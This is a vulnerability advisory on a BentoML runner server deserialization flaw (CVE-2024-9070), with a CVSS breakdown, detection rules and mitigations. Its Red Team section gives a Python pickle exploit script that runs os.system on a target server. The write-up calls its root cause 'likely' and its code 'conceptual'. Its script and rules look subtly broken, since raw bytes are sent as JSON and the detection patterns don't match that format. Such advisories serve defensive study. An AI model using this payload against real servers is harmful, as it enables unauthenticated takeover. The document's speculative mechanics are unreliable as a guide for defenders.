CVE-2024-9070

Executive Summary

CVE-2024-9070 is a critical deserialization vulnerability in BentoML's runner server, affecting versions up to and including 1.3.4.post1. The vulnerability allows an unauthenticated attacker to execute arbitrary code on the server by sending a crafted request with the args-number parameter set to a value greater than 1. This triggers automatic deserialization of untrusted data, leading to full remote code execution (RCE). The CVSS score of 9.8 reflects the ease of exploitation and the potential for complete compromise of confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code is currently available, but the vulnerability is considered highly dangerous due to the lack of a patch.

Supply Chain & Package Security

BentoML is a Python-based open-source model serving framework. The vulnerability exists in the core library, which is distributed via PyPI. Organizations using BentoML in their ML pipelines should immediately assess their exposure. Since no patch is available, the primary mitigation is to restrict network access to the runner server and monitor for anomalous deserialization attempts.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full data modification.
• Availability Impact: High (A:H) – Full system compromise.

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete control over the server.

Deep Dive & Mechanics

The vulnerability resides in BentoML's runner server, which handles model inference requests. The server deserializes incoming data using Python's pickle or similar unsafe deserialization mechanisms. When the args-number parameter is set to a value greater than 1, the server automatically deserializes the provided data without validation. An attacker can craft a malicious serialized object that, upon deserialization, executes arbitrary code.

Root Cause: The runner server does not sanitize or restrict the args-number parameter, and it uses unsafe deserialization (likely pickle.loads()) on user-supplied data. This allows an attacker to inject a payload that triggers code execution during the deserialization process.

Attack Flow:

1. Attacker identifies a BentoML runner server endpoint.
2. Attacker sends a POST request with args-number > 1 and a malicious serialized payload.
3. The server deserializes the payload, executing the attacker's code.
4. The attacker gains a shell or executes arbitrary commands.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# BentoML runner server (vulnerable)
def handle_request(request):
    args_number = request.get('args-number', 0)
    if args_number > 1:
        data = request.get('data')
        # Unsafe deserialization
        obj = pickle.loads(data)  # Vulnerable
        # Process obj...

Patched Code (Hypothetical):

# Patched version
def handle_request(request):
    args_number = request.get('args-number', 0)
    if args_number > 1:
        data = request.get('data')
        # Use safe deserialization or validate input
        obj = json.loads(data)  # Safe alternative
        # Or implement allowlist-based deserialization

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running BentoML <= 1.3.4.post1 with runner server exposed.
• Network access to the runner server endpoint.

Exploit Script (Python):

import pickle
import os
import requests

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(RCE())
url = "http://target:5000/runner"
data = {
    "args-number": 2,
    "data": payload
}
response = requests.post(url, json=data)
print(response.text)

Explanation: The script creates a malicious pickle payload that executes the id command when deserialized. The args-number parameter is set to 2 to trigger the vulnerable code path.

Blue Team (Detection & Response)

Detection:

• Monitor for requests with args-number > 1.
• Alert on deserialization of untrusted data.
• Use network monitoring to detect anomalous pickle payloads.

Response:

• Immediately isolate the affected server.
• Review logs for unauthorized access.
• Apply network segmentation to limit exposure.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /runner with args-number > 1.
• Payload: Base64-encoded pickle data in the request body.
• Process: Unexpected child processes (e.g., id, whoami, reverse shells).
• File: Suspicious files in /tmp or other writable directories.
• Log: Error logs containing pickle or unpickling exceptions.

Detection Engineering

YARA Rule

rule CVE_2024_9070_Deserialization {
    meta:
        description = "Detects malicious pickle payloads targeting BentoML runner server"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9070"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 magic bytes
        $reduce = "__reduce__"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $pickle_magic at 0 and ($reduce or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2024-9070 BentoML Deserialization Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with args-number > 1 to BentoML runner server
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'args-number=2'
    condition: selection
falsepositives:
    - Legitimate use of multiple arguments (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9070 BentoML Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"/runner"; http_uri; content:"args-number"; http_client_body; pcre:"/args-number=[2-9][0-9]*/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the runner server if not required.
2. Restrict network access to the runner server using firewalls or network policies.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Await an official patch from BentoML.
• Implement input validation to reject args-number > 1.
• Replace unsafe deserialization with safe alternatives (e.g., JSON).
• Use a Web Application Firewall (WAF) to block malicious payloads.

Workaround:

• Modify the BentoML source code to disable the vulnerable feature.
• Use a reverse proxy to filter requests with args-number > 1.

Valters IT